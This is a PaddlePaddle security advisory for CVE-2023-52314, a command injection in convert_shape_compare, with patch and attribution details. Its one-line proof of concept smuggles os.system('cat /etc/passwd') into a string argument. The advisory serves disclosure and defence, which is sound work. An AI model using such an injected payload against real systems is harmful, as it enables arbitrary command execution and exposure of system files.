Skip to content

Latest commit

 

History

History
28 lines (16 loc) · 873 Bytes

pdsa-2023-023.md

File metadata and controls

28 lines (16 loc) · 873 Bytes

PDSA-2023-023: Command injection in convert_shape_compare

CVE Number

CVE-2023-52314

Impact

Command injection in convert_shape_compare which could lead to execute arbitrary commands. The PoC is as follows:

import paddle

paddle.jit.dy2static.convert_operators.convert_shape_compare('prefix','+ str(__import__("os").system("cat /etc/passwd")) +','1')

Patches

We have patched the issue in commit c3b6414eb313480f1417abe92d410dfe89723097. The fix will be included in PaddlePaddle 2.6.0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by leeya_bug.